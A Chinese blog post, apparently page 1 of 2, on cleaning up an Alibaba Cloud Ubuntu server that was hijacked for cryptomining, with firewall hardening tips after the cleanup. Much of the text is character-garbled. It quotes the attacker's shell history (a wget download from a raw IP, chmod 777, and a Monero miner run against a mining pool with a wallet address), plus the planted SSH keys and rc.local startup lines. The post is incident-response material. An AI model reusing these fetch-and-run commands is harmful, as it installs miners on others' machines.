记一次在阿里云ubuntu服务器上的黑客反击战

开辟者大年夜赛路演 | 12月16日，技巧立异，北京不见不散

就在近几日的一天，我们的一台阿里云ubuntu办事器应当被人黑进体系，做成了肉鸡，占用了大年夜量资本，严重影响了应用。为了尽快恢复办事，不得已，在我司没有相干专业人才的情况，临危受命，光着膀子上阵，还击战就词攀拉开。

1. 现象

2. 分析

根据之前的分析，大年夜概知道哪里出了异常。具体异常之处的感化，暂没有分析，先解决问题为主。

办事器连接不上，办事器上的办事也拜访不了，直接困惑办事器宕机了。登录阿里云的┞菲握台发明，该机械状况正在运行，这就奇怪了。

持续再控制台查看，发明该办事器的体系资本监控图上，CPU和IO收集资本占用全都是100%，而我们的办事根本用不了这么多，困惑有异常应用。

接着在控制台的云盾监控里发明，该办事器存外埠在一次异常登录，这下确认，应当被人黑了。

这里有个愁闷的处所，阿里监控到了这个黑客，但想看更多的信息，就得进级VIP，就得花钱，还不便宜。

肯定办事器被人动了四肢举动，但具体动了怎么样的四肢举动？若何恢复？怎么防止？持续分析。

经由过程SSH根本拜访不了办事器，那想上岸办事器查找异常也实现不了，得先解决这问题。

经由过程阿里控制强迫重启该办事器，方才重启之后，用ssh登录，正常。履行top敕令，不雅察体系资本情况。刚开端一切正常，大年夜概1分钟阁下后，全部办事器过程全变成了ps过程，体系资本被耗尽，cpu，内存全满。

再次重启,测验测验几回之后发明，刚重启的时刻ssh登录，ps,top敕令履行正常，1分钟后体系所有过程根本全变成了ps，top，nestat过程，并且大年夜量的┞芳用资本，导致几乎每个过程都是100%的cpu消费。而再履行ps,top,netstat敕令，敕令阃常停止，但没有任何输出。经由过程和其他正常办事器的比较，肯定则几个敕令被调换了。

经由过程history敕令发明，有一段敕令操作像是安装肉鸡的操作：

1988 wget http://118.192.146.141:21222/generic.zip1989 unzip generic.zip1990 rm -rf generic.zip1991 cd generic.zip1992 cd generic1993 chmod 777 yam1994 (./yam -c x -M stratum+tcp://45scyJKLwUNFWdZQHanAWw7LDRGrfCeTGft12xyo6Cg6Z2XWhdub7BWW5H2iBrGGAc9XfC4VsQcRbPNgLgZDSqBK9KGJAvG:x@xmr.crypto-pool.fr:3333/xmr &)1995 exit1996 top

该敕令在root目次下载了一个zip文件，解压后赋权限，启动了一个敕令，这个敕令看不懂。经由过程baidu大年夜概知道，应用redis安然马脚进击的脚本里的敕令跟这个挺像。

检查ssh key发明，在/root/.ssh/authorized_keys、authoried_keys文件里新增两个ssh key的设备，根据最后的名称发明，明显不是我们的。

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCm3sLlDeWVz+wniirqWHTjr3X3Wn1EMPC5Ii7gC3yJ2w3XBZRqxg9WYYFD/9RlacTnO9LUcV35AQ+p+N9CSATMJLIK/iZznFSFtnbrqonhFd2SUtRhT8fPvwdSTmmKVZDOiI+ZWJcpffY8pOf2iXBkiVv3QIdTViJIkBF918gwIbQGYF5AJ+EqgA1HvOcMIM2C4btMwjImhGUW13buMv6RPfQHpayaPuC6xjGoqrhKvv9hEAAKn/g60S76Bj4WhXcbtYb8y0v1/TNRqv6AT7Om+NfjJUt6cxfgTw5SoQIFFQAKd3UyRr+z2xchSEf14lDRPrRU51tr4elU82MVKXBh root@kalissh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+wDfk9Uf97bGjImaI1c3Xi4DRTLqvW7GN1YoKJ2GJLIGbQlg7gYtDpcu0fjOjvL95kNNVkVcwBD5XzkmI+IM4nzybmMFX//r5efTp1z9fDWP3KvORo+qWJvwTcxwB8nYQRlwpkQn5HTXj4WkGpa93v5PthReoDFdPHmB+FMadbN6n9z2gOr+hNVSxeNGpNFzWNFVcGCKfMl7sJgexaw5gjeEobouvd1BvdbEBeIggnTSSEHYMpL0QlpHjWErgTCURIKno5xScpWmE9ejAui7uEjdDbtpjrY2Z8O9zExQtNRSb2gNXAtl3Y+3vfS6g8CzOTV2wdExukvKw+1zWQVFL zuoshou@ubuntu

6.检查体系开机自启项，/etc/rc.local里发明两个没见过的自启脚本。

sh /etc/issue.sh &sh /etc/iisethert.sh &

同时发明/etc/目次issue.sh，iisethert.sh 文件。然后，进入/etc/init.d/目次，发明几十个没见过的文件

hkiewsdxasasx*akslkkxmjdslk*klkmxasdsiwqx*opewlncwxjioq*....

看着就像法度榜样随机生成的，按时光排序，发明这些都是比来的。总共50多个。别的发明DbSecuritySpt、selinux脚本，也认为是异常脚本。

删除异常root目次下generic相干文件

删除异常的ssh key

删除/etc/rc.local异常脚本设备

删除/etc/init.d/下异常脚本

删除/etc/rc0.d~rc6.d/目次异常脚本连接

大年夜其他正常的办事器上，复制正常的ps、top、netstat敕令到/bin目次下，恢复敕令。

膳绫擎的还击操作不是一撮而就的，重启了好几回办事器，陆续履行膳绫擎的还击操作。终于，最后一次重启办事器，经由过程top敕令发明，体系过程正常了。

过后在网上搜到一篇类似的文┞仿，我的具体情况和他的有些不一样，估计是一种新变种。

防护

开启防火墙

安装

sudo apt-get install ufw

启用防火墙

sudo ufw enable sudo ufw default deny

开启了防火墙并随体系启动同时封闭所有外部对本机的拜访（本机拜访外部正常）。

封闭防火墙

sudo ufw disable

查看防火墙状况

sudo ufw status

开启/禁用响应端口

本来好好的一台阿里云上的办事器忽然拜访不了，经由过程ssh登录几乎没有反竽暌功，连接不上。

可以许可所有RFC1918收集（局域网/无线局域网的）拜访这个主机（/8,/16,/12是一种收集分级）：

sudo ufw allow from 10.0.0.0/8sudo ufw allow from 172.16.0.0/12sudo ufw allow from 192.168.0.0/16

推荐设置

sudo apt-get install ufw sudo ufw enablesudo ufw default deny

修改ssh端口

Linux中SSH默认端口为22，为了安然推敲，我们有须要对22端口进行修改，现修改端口为60000；修改办法如下：

1/2 1 2 下一页尾页

　　推荐阅读

　　为什么说2018年才是人工智能元年？而今年不是！

开辟者大年夜赛路演 | 12月16日，技巧立异，北京不见不散人工智能，它有个广为人知的名字--AI，已经成为一个我们多年来津津乐道的话题。然而，那些追踪其进展的人比来指出，2017年的人工智能>>>详细阅读

本文标题：记一次在阿里云ubuntu服务器上的黑客反击战

地址：http://www.17bianji.com/lsqh/39566.html

1/2 1